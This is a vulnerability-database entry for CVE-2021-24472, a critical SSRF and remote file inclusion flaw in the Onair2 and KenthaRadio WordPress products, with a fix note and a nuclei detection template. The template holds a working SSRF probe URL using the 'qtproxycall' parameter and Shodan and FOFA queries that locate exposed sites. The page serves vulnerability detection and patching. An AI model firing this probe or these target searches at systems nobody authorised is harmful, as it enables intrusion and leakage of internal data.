HexBrain

Browse / CVEs / CVE-2021-24472

CVE-2021-24472· qantumthemes / kentharadio· CWE-918

Onair2 < 3.9.9.2 & KenthaRadio < 2.0.2 - Remote File Inclusion/Server-Side Request Forgery

criticalseverity
9.8CVSS score
56.6%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Onair2 < 3.9.9.2 and KenthaRadio < 2.0.2 have exposed proxy functionality to unauthenticated users. Sending requests to this proxy functionality will have the web server fetch and display the content from any URI, allowing remote file inclusion and server-side request forgery.

Impact

Remote File Inclusion/Server-Side Request Forgery vulnerability allows an attacker to include arbitrary files or make requests to internal resources, leading to potential data leakage, unauthorized access.

Fix

Update Onair2 to version 3.9.9.2 or higher and KenthaRadio to version 2.0.2 or higher to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp1/home-18/?qtproxycall=https://oast.me
Positive when: contains "<h1> Interactsh Server </h1>" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24472 -u <target>

The full check
id: CVE-2021-24472

info:
  name: Onair2 < 3.9.9.2 & KenthaRadio < 2.0.2 - Remote File Inclusion/Server-Side Request Forgery
  author: Suman_Kar
  severity: critical
  description: |
    Onair2 < 3.9.9.2 and KenthaRadio < 2.0.2  have exposed proxy functionality to unauthenticated users. Sending requests to this proxy functionality will have the web server fetch and display the content from any URI, allowing remote file inclusion and server-side request forgery.
  impact: |
    Remote File Inclusion/Server-Side Request Forgery vulnerability allows an attacker to include arbitrary files or make requests to internal resources, leading to potential data leakage, unauthorized access.
  remediation: |
    Update Onair2 to version 3.9.9.2 or higher and KenthaRadio to version 2.0.2 or higher to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/17591ac5-88fa-4cae-a61a-4dcf5dc0b72a
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24472
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24472
    cwe-id: CWE-918
    epss-score: 0.56614
    epss-percentile: 0.99069
    cpe: cpe:2.3:a:qantumthemes:kentharadio:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: qantumthemes
    product: kentharadio
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/qt-kentharadio
    fofa-query: body=/wp-content/plugins/qt-kentharadio
    publicwww-query: "/wp-content/plugins/qt-kentharadio"
  tags: cve2021,cve,wordpress,lfi,ssrf,wp,wp-plugin,wpscan,qantumthemes,vuln,vkev

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp1/home-18/?qtproxycall=https://oast.me'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<h1> Interactsh Server </h1>"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from